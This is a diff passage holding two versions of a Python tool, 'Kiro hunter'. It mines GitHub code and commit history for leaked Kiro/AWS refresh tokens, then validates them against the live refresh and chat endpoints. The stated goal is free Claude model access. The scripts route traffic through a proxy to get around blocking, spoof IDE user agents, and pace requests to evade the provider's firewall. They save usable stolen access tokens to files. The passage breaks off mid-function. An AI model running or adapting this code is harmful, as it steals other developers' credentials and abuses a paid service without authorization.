can be exchanged at https://prod.us-east-1.auth.desktop.kiro.dev/refreshToken for a
|
||||
short-lived access_token, which drives Claude Sonnet/Haiku 4.5 via the
|
||||
q.us-east-1.amazonaws.com/generateAssistantResponse endpoint — for free.
|
||||
|
||||
Pipeline:
|
||||
1. GitHub code search (30+ Kiro-specific queries), routed through a CN proxy
|
||||
that can reach api.github.com (GFW blocks it from this host).
|
||||
2. Fetch raw files and extract:
|
||||
- KIRO_REFRESH_TOKEN / KIRO_ACCESS_TOKEN env values
|
||||
- KIRO_AUTH_TOKEN JSON arrays: [{"auth":"Social","refreshToken":"..."},...]
|
||||
- refreshToken/refresh_token fields in .json/.env/config files near "kiro"
|
||||
3. Verify each refresh token via the refresh endpoint.
|
||||
200 + access_token -> USABLE (a fresh access token is the prize)
|
||||
401 -> DEAD
|
||||
anything else -> kept (NO_ACCESS / UNKNOWN / NO_BALANCE per LO's rule)
|
||||
4. For USABLE tokens, optionally do a live chat probe to confirm credits.
|
||||
|
||||
Outputs results/kiro/{usable,no_balance,no_access,unknown,dead,all_non_401}.txt
|
||||
Each USABLE line stores: refreshToken|source|access_token|expires_in|detail
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import uuid
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
HERE = Path(__file__).parent
|
||||
RESULTS_DIR = HERE / "results" / "kiro"
|
||||
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
|
||||
EXTRACTED_FILE = RESULTS_DIR / "extracted_tokens.txt"
|
||||
|
||||
# GitHub API is GFW-blocked; route through a CN proxy known to reach it.
|
||||
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
|
||||
|
||||
REFRESH_URL = "https://prod.us-east-1.auth.desktop.kiro.dev/refreshToken"
|
||||
CHAT_URL = "https://q.us-east-1.amazonaws.com/generateAssistantResponse"
|
||||
|
||||
UA = "curl/8.5.0"
|
||||
# Kiro refresh tokens are JWTs (eyJ...eyJ...sig with two dots) or long opaque
|
||||
# base64url strings. Must include '.' for JWTs; be permissive but avoid placeholders.
|
||||
TOKEN_RE = re.compile(r"[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{10,}")
|
||||
OPAQUE_RE = re.compile(r"[A-Za-z0-9_\-]{120,}")
|
||||
PLACEHOLDER = ("your-", "example", "xxxx", "placeholder", "changeme",
|
||||
"replace", "dummy", "test-token", "<", "...", "refreshtoken",
|
||||
"accesstoken", "clientid", "clientsecret")
|
||||
|
||||
SEARCH_QUERIES = [
|
||||
"KIRO_REFRESH_TOKEN",
|
||||
"KIRO_ACCESS_TOKEN",
|
||||
"KIRO_AUTH_TOKEN",
|
||||
'"kiro.dev/refreshToken"',
|
||||
'"prod.us-east-1.auth.desktop.kiro.dev"',
|
||||
'"auth.desktop.kiro.dev" refreshToken',
|
||||
'"refreshToken" "kiro" extension:json',
|
||||
'"refreshToken" "kiro" extension:env',
|
||||
'"refreshToken" "kiro" extension:yaml',
|
||||
'"refreshToken" "kiro" extension:yml',
|
||||
'"refreshToken" "kiro" extension:toml',
|
||||
'"refresh_token" "kiro" extension:py',
|
||||
'"refresh_token" "kiro" extension:js',
|
||||
'"refresh_token" "kiro" extension:ts',
|
||||
'"refresh_token" "kiro" extension:go',
|
||||
'"kiro" "accessToken" "refreshToken" extension:json',
|
||||
'KIRO_AUTH_TOKEN extension:env',
|
||||
'KIRO_AUTH_TOKEN extension:json',
|
||||
'KIRO_REFRESH_TOKEN extension:env',
|
||||
'KIRO_REFRESH_TOKEN extension:json',
|
||||
'KIRO_REFRESH_TOKEN extension:yaml',
|
||||
'"kiro2api" refreshToken',
|
||||
'"kiro" filename:docker-compose',
|
||||
'"KIRO_REFRESH_TOKEN=" filename:.env',
|
||||
'"KIRO_AUTH_TOKEN=" filename:.env',
|
||||
'"kiro" "Social" "refreshToken"',
|
||||
'"kiro" "IdC" "refreshToken" "clientId"',
|
||||
'"q.us-east-1.amazonaws.com"',
|
||||
'"generateAssistantResponse" token',
|
||||
'"KiroIDE" refreshToken',
|
||||
'"kiro-stack" refresh',
|
||||
'"proxykiro" refresh',
|
||||
'"2-api" kiro refreshToken',
|
||||
]
|
||||
|
||||
|
||||
_gh_opener = None
|
||||
def gh_opener():
|
||||
global _gh_opener
|
||||
if _gh_opener is None:
|
||||
handler = urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY}) if GH_PROXY else urllib.request.ProxyHandler({})
|
||||
_gh_opener = urllib.request.build_opener(handler)
|
||||
return _gh_opener
|
||||
|
||||
|
||||
def github_token():
|
||||
tok = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
|
||||
if tok:
|
||||
return tok
|
||||
try:
|
||||
out = subprocess.run(["gh", "auth", "token"], capture_output=True, text=True, timeout=10)
|
||||
if out.returncode == 0:
|
||||
return out.stdout.strip()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
hosts = Path.home() / ".config" / "gh" / "hosts.yml"
|
||||
if hosts.exists():
|
||||
for line in hosts.read_text().splitlines():
|
||||
if line.strip().startswith("oauth_token:"):
|
||||
return line.split(":", 1)[1].strip()
|
||||
return None
|
||||
|
||||
|
||||
def gh_api_search(query, token, per_page=100):
|
||||
headers = {"Accept": "application/vnd.github+json", "User-Agent": "kiro-hunter"}
|
||||
if token:
|
||||
headers["Authorization"] = f"Bearer {token}"
|
||||
for page in range(1, 11):
|
||||
url = ("https://api.github.com/search/code"
|
||||
f"?q={urllib.parse.quote(query)}&per_page={per_page}&page={page}")
|
||||
req = urllib.request.Request(url, headers=headers)
|
||||
try:
|
||||
with gh_opener().open(req, timeout=30) as resp:
|
||||
data = json.loads(resp.read())
|
||||
except urllib.error.HTTPError as e:
|
||||
if e.code in (403, 429):
|
||||
reset = e.headers.get("X-RateLimit-Reset")
|
||||
wait = max(int(reset) - int(time.time()), 5) if reset else 30
|
||||
print(f" rate-limited, waiting {wait}s...", file=sys.stderr, flush=True)
|
||||
time.sleep(wait + 1)
|
||||
continue
|
||||
if e.code == 422:
|
||||
return
|
||||
print(f" HTTP {e.code} for {query!r}", file=sys.stderr)
|
||||
return
|
||||
except Exception as e:
|
||||
print(f" network error: {e}", file=sys.stderr, flush=True)
|
||||
return
|
||||
items = data.get("items", [])
|
||||
if not items:
|
||||
return
|
||||
for it in items:
|
||||
yield it
|
||||
if len(items) < per_page:
|
||||
return
|
||||
time.sleep(2.2 if token else 7)
|
||||
|
||||
|
||||
def to_raw_url(u):
|
||||
return u.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
|
||||
|
||||
|
||||
def fetch_raw(url):
|
||||
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
|
||||
try:
|
||||
with gh_opener().open(req, timeout=20) as resp:
|
||||
return resp.read().decode("utf-8", errors="replace")
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
|
||||
def plausible_token(t):
|
||||
if not t or len(t) < 60:
|
||||
return False
|
||||
low = t.lower()
|
||||
if any(p in low for p in PLACEHOLDER):
|
||||
return False
|
||||
# must look like a JWT (two dots) or a long opaque base64url secret
|
||||
is_jwt = t.count(".") == 2 and all(part for part in t.split("."))
|
||||
is_opaque = ("." not in t) and len(t) >= 120 and re.fullmatch(r"[A-Za-z0-9_\-]+", t)
|
||||
if not (is_jwt or is_opaque):
|
||||
return False
|
||||
# reject other-provider static keys that are too short / wrong shape
|
||||
if re.fullmatch(r"[a-f0-9]{32}", t):
|
||||
return False
|
||||
if t.startswith("sk-") and len(t) < 60:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def extract_tokens(content):
|
||||
"""Return list of (refresh_token, auth_method, client_id, client_secret)."""
|
||||
found = {} # token -> tuple(auth, cid, csec)
|
||||
|
||||
def add(tok, auth="social", cid=None, csec=None):
|
||||
tok = tok.strip().strip("'\"").rstrip(",;")
|
||||
if plausible_token(tok) and tok not in found:
|
||||
found[tok] = (auth, cid, csec)
|
||||
|
||||
# 1) KIRO_AUTH_TOKEN JSON array: [{"auth":"Social","refreshToken":"..."}, ...]
|
||||
for m in re.finditer(r"KIRO_AUTH_TOKEN[^A-Za-z0-9]{0,6}(\[.*?\])", content, re.S):
|
||||
chunk = m.group(1)
|
||||
try:
|
||||
arr = json.loads(chunk)
|
||||
except Exception:
|
||||
# try to find JSON objects within
|
||||
arr = []
|
||||
for obj in re.findall(r"\{[^{}]*\}", chunk):
|
||||
try:
|
||||
arr.append(json.loads(obj))
|
||||
except Exception:
|
||||
pass
|
||||
for item in arr if isinstance(arr, list) else []:
|
||||
if not isinstance(item, dict):
|
||||
continue
|
||||
rt = item.get("refreshToken") or item.get("refresh_token")
|
||||
if rt:
|
||||
auth = str(item.get("auth", "social")).lower()
|
||||
add(rt, auth, item.get("clientId"), item.get("clientSecret"))
|
||||
|
||||
# 2) KIRO_REFRESH_TOKEN=... / REFRESH_TOKEN=... (JWT or opaque)
|
||||
for m in re.finditer(r"(?:KIRO_)?REFRESH_TOKEN\s*[=:]\s*['\"]?([A-Za-z0-9_\-\.]+)['\"]?", content):
|
||||
add(m.group(1), "social")
|
||||
|
||||
# 3) "refreshToken": "..." or refresh_token = "..." (JWTs include dots)
|
||||
for m in re.finditer(r'"?refresh[_Tt]oken"?\s*[=:]\s*"([A-Za-z0-9_\-\.]{60,})"', content):
|
||||
add(m.group(1), "social")
|
||||
|
||||
# 4) Builder ID / IdC: look for clientId+clientSecret+refreshToken proximity
|
||||
for m in re.finditer(r'\{[^{}]*?"refreshToken"\s*:\s*"([^"]+)"[^{}]*?\}', content, re.S):
|
||||
chunk = m.group(0)
|
||||
cid = re.search(r'"clientId"\s*:\s*"([^"]+)"', chunk)
|
||||
csec = re.search(r'"clientSecret"\s*:\s*"([^"]+)"', chunk)
|
||||
rt = re.search(r'"refreshToken"\s*:\s*"([^"]+)"', chunk)
|
||||
if rt:
|
||||
add(rt.group(1), "idc" if (cid and csec) else "social",
|
||||
cid.group(1) if cid else None,
|
||||
csec.group(1) if csec else None)
|
||||
|
||||
return [(tok, *meta) for tok, meta in found.items()]
|
||||
|
||||
|
||||
def http_post_json(url, body, headers, timeout=30, opener=None):
|
||||
h = {"User-Agent": UA, "Accept": "*/*", "Content-Type": "application/json", **headers}
|
||||
data = json.dumps(body).encode()
|
||||
req = urllib.request.Request(url, data=data, headers=h, method="POST")
|
||||
op = opener or urllib.request.build_opener()
|
||||
try:
|
||||
with op.open(req, timeout=timeout) as resp:
|
||||
return resp.getcode(), resp.read().decode("utf-8", "replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try:
|
||||
return e.code, e.read().decode("utf-8", "replace")
|
||||
except Exception:
|
||||
return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"network: {type(e).__name__}: {e}"
|
||||
|
||||
|
||||
def refresh_social(tok, machine_id):
|
||||
return http_post_json(REFRESH_URL,
|
||||
{"refreshToken": tok},
|
||||
{"User-Agent": f"KiroIDE-1.6.0-{machine_id}"})
|
||||
|
||||
|
||||
def refresh_idc(tok, cid, csec, region="us-east-1"):
|
||||
url = f"https://oidc.{region}.amazonaws.com/token"
|
||||
return http_post_json(url, {
|
||||
"clientId": cid, "clientSecret": csec,
|
||||
"refreshToken": tok, "grantType": "refresh_token",
|
||||
}, {"x-amz-user-agent": "aws-sdk-js/3.738.0 m/E KiroIDE"})
|
||||
|
||||
|
||||
def chat_probe(access_token, machine_id):
|
||||
"""Minimal generateAssistantResponse request; classify by HTTP code."""
|
||||
conv = str(uuid.uuid4())
|
||||
cont = str(uuid.uuid4())
|
||||
body = {
|
||||
"conversationState": {
|
||||
"agentContinuationId": cont,
|
||||
"agentTaskType": "vibe",
|
||||
"chatTriggerType": "MANUAL",
|
||||
"conversationId": conv,
|
||||
"currentMessage": {
|
||||
"userInputMessage": {
|
||||
"content": "hi",
|
||||
"modelId": "claude-haiku-4.5",
|
||||
"origin": "AI_EDITOR",
|
||||
}
|
||||
},
|
||||
"history": [],
|
||||
}
|
||||
}
|
||||
headers = {
|
||||
"x-amzn-codewhisperer-optout": "true",
|
||||
"x-amzn-kiro-agent-mode": "vibe",
|
||||
"Authorization": f"Bearer {access_token}",
|
||||
"Host": "q.us-east-1.amazonaws.com",
|
||||
"amz-sdk-invocation-id": str(uuid.uuid4()),
|
||||
"amz-sdk-request": "attempt=1; max=1",
|
||||
"User-Agent": f"aws-sdk-js/1.0.27 KiroIDE-1.6.0-{machine_id}",
|
||||
}
|
||||
# chat goes through the proxy too (amazonaws may be flaky from CN)
|
||||
op = gh_opener()
|
||||
return http_post_json(CHAT_URL, body, headers, timeout=40, opener=op)
|
||||
|
||||
|
||||
RANK = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0}
|
||||
|
||||
|
||||
def verify_token(row):
|
||||
"""row = (refresh_token, auth, cid, csec, source)."""
|
||||
tok, auth, cid, csec, src = row
|
||||
machine_id = uuid.uuid4().hex
|
||||
# 1. refresh
|
||||
if auth in ("idc", "builder-id", "builder_id") and cid and csec:
|
||||
code, body = refresh_idc(tok, cid, csec)
|
||||
else:
|
||||
code, body = refresh_social(tok, machine_id)
|
||||
|
||||
access = None
|
||||
expires = None
|
||||
if code == 200:
|
||||
try:
|
||||
j = json.loads(body)
|
||||
access = j.get("accessToken") or j.get("access_token")
|
||||
expires = j.get("expiresIn") or j.get("expires_in")
|
||||
except Exception:
|
||||
pass
|
||||
if access:
|
||||
# 2. live chat probe (best effort)
|
||||
ccode, cbody = chat_probe(access, machine_id)
|
||||
if ccode == 200:
|
||||
return "USABLE", f"refresh OK ({expires}s); chat 200", access, expires
|
||||
if ccode in (402, 429):
|
||||
return "NO_BALANCE", f"refresh OK; chat {ccode} (quota/rate): {cbody[:120]}", access, expires
|
||||
if ccode == 401:
|
||||
# access token rejected despite refresh — odd; keep as no_access
|
||||
return "NO_ACCESS", f"refresh OK; chat 401: {cbody[:120]}", access, expires
|
||||
if ccode == 0:
|
||||
return "NO_ACCESS", f"refresh OK; chat net: {cbody[:120]}", access, expires
|
||||
return "NO_ACCESS", f"refresh OK; chat HTTP {ccode}: {cbody[:120]}", access, expires
|
||||
else:
|
||||
return "NO_ACCESS", f"refresh 200 but no access_token: {body[:140]}", None, None
|
||||
if code == 401:
|
||||
return "DEAD", f"refresh 401: {body[:120]}", None, None
|
||||
if code in (400, 403):
|
||||
# 400 = malformed/revoked shape; 403 = disabled. Keep if not explicit 401.
|
||||
return "NO_ACCESS", f"refresh {code}: {body[:140]}", None, None
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"refresh {code}: {body[:140]}", None, None
|
||||
if code == 0:
|
||||
return "UNKNOWN", body[:160], None, None
|
||||
return "NO_ACCESS", f"refresh HTTP {code}: {body[:140]}", None, None
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--verify-only", action="store_true")
|
||||
ap.add_argument("--workers", type=int, default=15)
|
||||
ap.add_argument("--limit", type=int, default=0)
|
||||
args = ap.parse_args()
|
||||
|
||||
tokens = {} # refresh_token -> (auth, cid, csec, source)
|
||||
|
||||
if args.verify_only and EXTRACTED_FILE.exists():
|
||||
for line in EXTRACTED_FILE.read_text().splitlines():
|
||||
parts = line.split("|")
|
||||
if len(parts) >= 5:
|
||||
tok, auth, cid, csec, src = parts[0], parts[1], parts[2], parts[3], parts[4]
|
||||
tokens[tok] = (auth, cid or None, csec or None, src)
|
||||
print(f"--verify-only: {len(tokens)} tokens")
|
||||
else:
|
||||
token = github_token()
|
||||
print(f"GH proxy: {GH_PROXY or 'none'}; token: {'yes' if token else 'NO'}")
|
||||
print("\n=== Stage 1: GitHub search ===")
|
||||
candidates = {}
|
||||
for i, q in enumerate(SEARCH_QUERIES, 1):
|
||||
print(f" [{i:2d}/{len(SEARCH_QUERIES)}] {q}", flush=True)
|
||||
try:
|
||||
for it in gh_api_search(q, token):
|
||||
u = it.get("html_url", "")
|
||||
if u and u not in candidates:
|
||||
candidates[u] = it.get("repository", {}).get("full_name", "?")
|
||||
except Exception as e:
|
||||
print(f" error: {e}", file=sys.stderr)
|
||||
print(f" candidate files: {len(candidates)}")
|
||||
|
||||
print("\n=== Stage 2: fetch raw & extract refresh tokens ===")
|
||||
fetched = 0
|
||||
with ThreadPoolExecutor(max_workers=20) as pool:
|
||||
futs = {pool.submit(fetch_raw, to_raw_url(u)): u for u in candidates}
|
||||
for fut in as_completed(futs):
|
||||
u = futs[fut]
|
||||
fetched += 1
|
||||
try:
|
||||
content = fut.result()
|
||||
except Exception:
|
||||
content = ""
|
||||
for tok, auth, cid, csec in extract_tokens(content):
|
||||
if tok not in tokens:
|
||||
tokens[tok] = (auth, cid, csec, u)
|
||||
if fetched % 100 == 0:
|
||||
print(f" fetched {fetched}/{len(candidates)}, tokens={len(tokens)}", flush=True)
|
||||
print(f" unique refresh tokens: {len(tokens)}")
|
||||
|
||||
with open(EXTRACTED_FILE, "w") as f:
|
||||
for tok, (auth, cid, csec, src) in sorted(tokens.items()):
|
||||
f.write(f"{tok}|{auth}|{cid or ''}|{csec or ''}|{src}\n")
|
||||
|
||||
rows = [(tok, *meta) for tok, meta in tokens.items()]
|
||||
if args.limit > 0:
|
||||
rows = rows[:args.limit]
|
||||
|
||||
print(f"\n=== Stage 3: verify {len(rows)} tokens (workers={args.workers}) ===")
|
||||
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
|
||||
start = time.time()
|
||||
done = 0
|
||||
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
||||
futs = {pool.submit(verify_token, r): r for r in rows}
|
||||
for fut in as_completed(futs):
|
||||
r = futs[fut]
|
||||
tok, auth, cid, csec, src = r
|
||||
done += 1
|
||||
try:
|
||||
v, detail, access, expires = fut.result()
|
||||
except Exception as e:
|
||||
v, detail, access, expires = "UNKNOWN", f"exc:{e}", None, None
|
||||
buckets[v].append((tok, src, auth, access, expires, detail))
|
||||
if done % 20 == 0:
|
||||
el = time.time() - start
|
||||
print(f" [{done:4d}/{len(rows)}] " +
|
||||
" ".join(f"{k.lower()}={len(buckets[k])}" for k in buckets) +
|
||||
f" ({done/el:.1f}/s)", flush=True)
|
||||
|
||||
for name, items in buckets.items():
|
||||
path = RESULTS_DIR / f"{name.lower()}.txt"
|
||||
with open(path, "w") as f:
|
||||
for tok, src, auth, access, expires, detail in items:
|
||||
f.write(f"{tok}|{src}|auth={auth}|access={access or ''}|expires={expires or ''}|{detail}\n")
|
||||
print(f" {name:11s}: {len(items):4d} -> {path.name}")
|
||||
|
||||
with open(RESULTS_DIR / "all_non_401.txt", "w") as f:
|
||||
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
|
||||
for tok, src, auth, access, expires, detail in buckets[name]:
|
||||
f.write(f"{name}|{tok}|{src}|auth={auth}|access={access or ''}|{detail}\n")
|
||||
|
||||
if buckets["USABLE"]:
|
||||
print("\n=== USABLE KIRO TOKENS (free Claude Sonnet/Haiku 4.5!) ===")
|
||||
for tok, src, auth, access, expires, detail in buckets["USABLE"]:
|
||||
print(f" refresh: {tok[:40]}...{tok[-8:]}")
|
||||
print(f" access : {access[:50] if access else '?'}... (expires_in={expires}s)")
|
||||
print(f" src : {src}")
|
||||
print(f" {detail}\n")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,427 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Kiro hunter v2 — correct token format + commit-history scan.
|
||||
|
||||
Real Kiro tokens are NOT JWTs. They're opaque AWS-blessed strings:
|
||||
accessToken: aoaAAAAA... (base64, contains '+' '/' and sometimes ':')
|
||||
refreshToken: aorAAAAA... (~180 chars)
|
||||
Found in files named kiro-auth-token*.json, ~/.aws/sso/cache/*.json, or in
|
||||
KIRO_AUTH_TOKEN JSON arrays / KIRO_REFRESH_TOKEN env vars.
|
||||
|
||||
Pipeline:
|
||||
1. GitHub code search for files named kiro-auth-token / .aws/sso/cache kiro, plus
|
||||
the aoaAAAAA/aorAAAAA token prefixes.
|
||||
2. Fetch raw content (HEAD) and extract access/refresh tokens.
|
||||
3. Commit-history scan: for repos that touched kiro-auth-token files, walk
|
||||
recent commits and grep the patch for aorAAAAA tokens (catches deleted ones).
|
||||
4. Verify each refresh token via prod.us-east-1.auth.desktop.kiro.dev/refreshToken.
|
||||
200+accessToken = USABLE (then optional chat probe); 401 = DEAD; else kept.
|
||||
|
||||
GitHub and the kiro.dev refresh endpoint are GFW-blocked; all traffic routes via
|
||||
GH_PROXY (a CN proxy known to reach both).
|
||||
|
||||
Outputs results/kiro2/{usable,no_balance,no_access,unknown,dead,all_non_401}.txt
|
||||
"""
|
||||
|
||||
import argparse, base64, json, os, re, subprocess, sys, time, uuid
|
||||
import urllib.request, urllib.error, urllib.parse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
HERE = Path(__file__).parent
|
||||
RESULTS = HERE / "results" / "kiro2"
|
||||
RESULTS.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
|
||||
REFRESH_URL = "https://prod.us-east-1.auth.desktop.kiro.dev/refreshToken"
|
||||
CHAT_URL = "https://q.us-east-1.amazonaws.com/generateAssistantResponse"
|
||||
UA = "curl/8.5.0"
|
||||
# Min seconds between refresh-endpoint posts. Too aggressive and CloudFront WAF
|
||||
# 403-blocks the whole IP for several minutes.
|
||||
VERIFY_DELAY = float(os.environ.get("KIRO_VERIFY_DELAY", "0.4"))
|
||||
|
||||
# Real token prefixes. Allow base64 alphabet including + and /.
|
||||
ACCESS_RE = re.compile(r"aoaAAAAA[A-Za-z0-9+/=_:\-]{40,}")
|
||||
REFRESH_RE = re.compile(r"aorAAAAA[A-Za-z0-9+/=_:\-]{40,}")
|
||||
|
||||
QUERIES = [
|
||||
"filename:kiro-auth-token",
|
||||
"kiro-auth-token.json",
|
||||
"kiro-auth-token extension:json",
|
||||
'"aorAAAAA"',
|
||||
'"aoaAAAAA"',
|
||||
'"accessToken" "refreshToken" "kiro" extension:json',
|
||||
'"refreshToken" "aorAAAAA"',
|
||||
'"clientIdHash" "refreshToken" extension:json',
|
||||
'"profileArn" "refreshToken" "kiro"',
|
||||
'"authMethod" "refreshToken" "kiro" extension:json',
|
||||
'KIRO_REFRESH_TOKEN=aor',
|
||||
'KIRO_AUTH_TOKEN aorAAAAA',
|
||||
'"prod.us-east-1.auth.desktop.kiro.dev" "refreshToken"',
|
||||
"kiro sso cache extension:json",
|
||||
'"kiro" "aorAAAAA"',
|
||||
'"codewhisperer" "refreshToken" extension:json',
|
||||
]
|
||||
|
||||
|
||||
_opener = None
|
||||
def opener():
|
||||
global _opener
|
||||
if _opener is None:
|
||||
h = urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY}) if GH_PROXY else urllib.request.ProxyHandler({})
|
||||
_opener = urllib.request.build_opener(h)
|
||||
return _opener
|
||||
|
||||
_direct = None
|
||||
def direct_opener():
|
||||
"""Opener that bypasses GH_PROXY. The CN proxy returns CloudFront 403 for the
|
||||
Kiro refresh/chat endpoints, but they are directly reachable from this host."""
|
||||
global _direct
|
||||
if _direct is None:
|
||||
_direct = urllib.request.build_opener(urllib.request.ProxyHandler({}))
|
||||
return _direct
|
||||
|
||||
|
||||
def github_token():
|
||||
t = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
|
||||
if t: return t
|
||||
try:
|
||||
o = subprocess.run(["gh","auth","token"],capture_output=True,text=True,timeout=10)
|
||||
if o.returncode==0: return o.stdout.strip()
|
||||
except FileNotFoundError: pass
|
||||
p = Path.home()/".config/gh/hosts.yml"
|
||||
if p.exists():
|
||||
for line in p.read_text().splitlines():
|
||||
if line.strip().startswith("oauth_token:"):
|
||||
return line.split(":",1)[1].strip()
|
||||
return None
|
||||
|
||||
|
||||
def gh_get(url, token, timeout=30):
|
||||
headers = {"Accept":"application/vnd.github+json","User-Agent":"kiro-hunter"}
|
||||
if token: headers["Authorization"]=f"Bearer {token}"
|
||||
req = urllib.request.Request(url, headers=headers)
|
||||
try:
|
||||
with opener().open(req, timeout=timeout) as r:
|
||||
return r.getcode(), r.read().decode("utf-8","replace"), dict(r.headers)
|
||||
except urllib.error.HTTPError as e:
|
||||
try: body=e.read().decode("utf-8","replace")
|
||||
except Exception: body=""
|
||||
return e.code, body, dict(e.headers or {})
|
||||
except Exception as e:
|
||||
return 0, f"net:{e}", {}
|
||||
|
||||
|
||||
def search_code(query, token, per_page=100):
|
||||
for page in range(1,11):
|
||||
url=("https://api.github.com/search/code"
|
||||
f"?q={urllib.parse.quote(query)}&per_page={per_page}&page={page}")
|
||||
code,body,hdrs = gh_get(url,token)
|
||||
if code==200:
|
||||
try: data=json.loads(body)
|
||||
except Exception: return
|
||||
items=data.get("items",[])
|
||||
for it in items: yield it
|
||||
if len(items)<per_page: return
|
||||
time.sleep(2.2)
|
||||
elif code in (403,429):
|
||||
reset=hdrs.get("X-RateLimit-Reset")
|
||||
wait=max(int(reset)-int(time.time()),5) if reset else 30
|
||||
print(f" rate-limited {wait}s",file=sys.stderr,flush=True)
|
||||
time.sleep(wait+1)
|
||||
elif code==422:
|
||||
return
|
||||
else:
|
||||
print(f" search {code} for {query!r}",file=sys.stderr); return
|
||||
|
||||
|
||||
def to_raw(u):
|
||||
return u.replace("github.com","raw.githubusercontent.com").replace("/blob/","/")
|
||||
|
||||
|
||||
def fetch_raw(url, timeout=20):
|
||||
try:
|
||||
with opener().open(urllib.request.Request(url,headers={"User-Agent":"Mozilla/5.0"}),timeout=timeout) as r:
|
||||
return r.read().decode("utf-8","replace")
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
|
||||
def clean(t):
|
||||
# trim trailing base64 padding-separators / json punctuation that regex may over-grab
|
||||
return t.rstrip('",;:}]= \t\r\n')
|
||||
|
||||
|
||||
def extract(content):
|
||||
out = {} # refresh -> {access, source_hint}
|
||||
for m in REFRESH_RE.findall(content):
|
||||
rt = clean(m)
|
||||
# Real Kiro refresh tokens are opaque base64 ~180-260 chars. Reject
|
||||
# binary/garbage runs that merely start with "aorAAAAA" (these produce
|
||||
# multi-KB blobs and trigger AWS WAF 403 on the refresh endpoint).
|
||||
if 120 <= len(rt) <= 400:
|
||||
out.setdefault(rt, {})
|
||||
for m in ACCESS_RE.findall(content):
|
||||
at = clean(m)
|
||||
if 120 <= len(at) <= 2000:
|
||||
for rt in out:
|
||||
out[rt].setdefault("access", at)
|
||||
return out
|
||||
|
||||
|
||||
def list_file_commits(repo, path, token, max_commits=15):
|
||||
"""List commits that touched a specific file (bounded). Much cheaper than
|
||||
walking a whole repo's history."""
|
||||
q=urllib.parse.quote(path, safe="")
|
||||
url=f"https://api.github.com/repos/{repo}/commits?path={q}&per_page={max_commits}&page=1"
|
||||
code,body,hdrs=gh_get(url,token,timeout=15)
|
||||
if code in (403,429):
|
||||
reset=hdrs.get("X-RateLimit-Reset")
|
||||
wait=min(max(int(reset)-int(time.time()),5), 60) if reset else 20
|
||||
time.sleep(wait+1)
|
||||
code,body,_=gh_get(url,token,timeout=15)
|
||||
if code!=200: return
|
||||
try: data=json.loads(body)
|
||||
except Exception: return
|
||||
if not isinstance(data,list): return
|
||||
for c in data:
|
||||
sha=c.get("sha")
|
||||
if sha: yield sha
|
||||
|
||||
|
||||
def commit_patch(repo, sha, token):
|
||||
"""Return the patch text for a commit (the diff)."""
|
||||
url=f"https://api.github.com/repos/{repo}/commits/{sha}"
|
||||
headers={"Accept":"application/vnd.github.v3.diff","User-Agent":"kiro-hunter"}
|
||||
if token: headers["Authorization"]=f"Bearer {token}"
|
||||
req=urllib.request.Request(url,headers=headers)
|
||||
try:
|
||||
with opener().open(req,timeout=20) as r:
|
||||
return r.read().decode("utf-8","replace")
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
|
||||
def scan_repo_commits(repo, paths, token, max_commits):
|
||||
"""Scan commits touching specific files in one repo; return {rt: source}."""
|
||||
found={}
|
||||
seen=set()
|
||||
for path in paths:
|
||||
try:
|
||||
shas=list(list_file_commits(repo,path,token,max_commits=max_commits))
|
||||
except Exception:
|
||||
continue
|
||||
for sha in shas:
|
||||
if sha in seen: continue
|
||||
seen.add(sha)
|
||||
patch=commit_patch(repo,sha,token)
|
||||
if "aorAAAAA" not in patch: continue
|
||||
for rt in extract(patch):
|
||||
found[rt]=f"{repo}@{sha[:10]} (commit diff)"
|
||||
return found
|
||||
|
||||
|
||||
def http_post(url, body, headers, timeout=30):
|
||||
h={"User-Agent":UA,"Accept":"*/*","Content-Type":"application/json",**headers}
|
||||
data=json.dumps(body).encode()
|
||||
req=urllib.request.Request(url,data=data,headers=h,method="POST")
|
||||
op = direct_opener() if "kiro.dev" in url or "amazonaws.com" in url else opener()
|
||||
try:
|
||||
with op.open(req,timeout=timeout) as r:
|
||||
return r.getcode(), r.read().decode("utf-8","replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try: return e.code, e.read().decode("utf-8","replace")
|
||||
except Exception: return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"net:{type(e).__name__}:{e}"
|
||||
|
||||
|
||||
def verify_rt(rt, do_chat=False):
|
||||
# CloudFront WAF occasionally returns a 403 HTML "Request blocked" when we
|
||||
# fire too fast. Retry with backoff so a transient block doesn't permanently
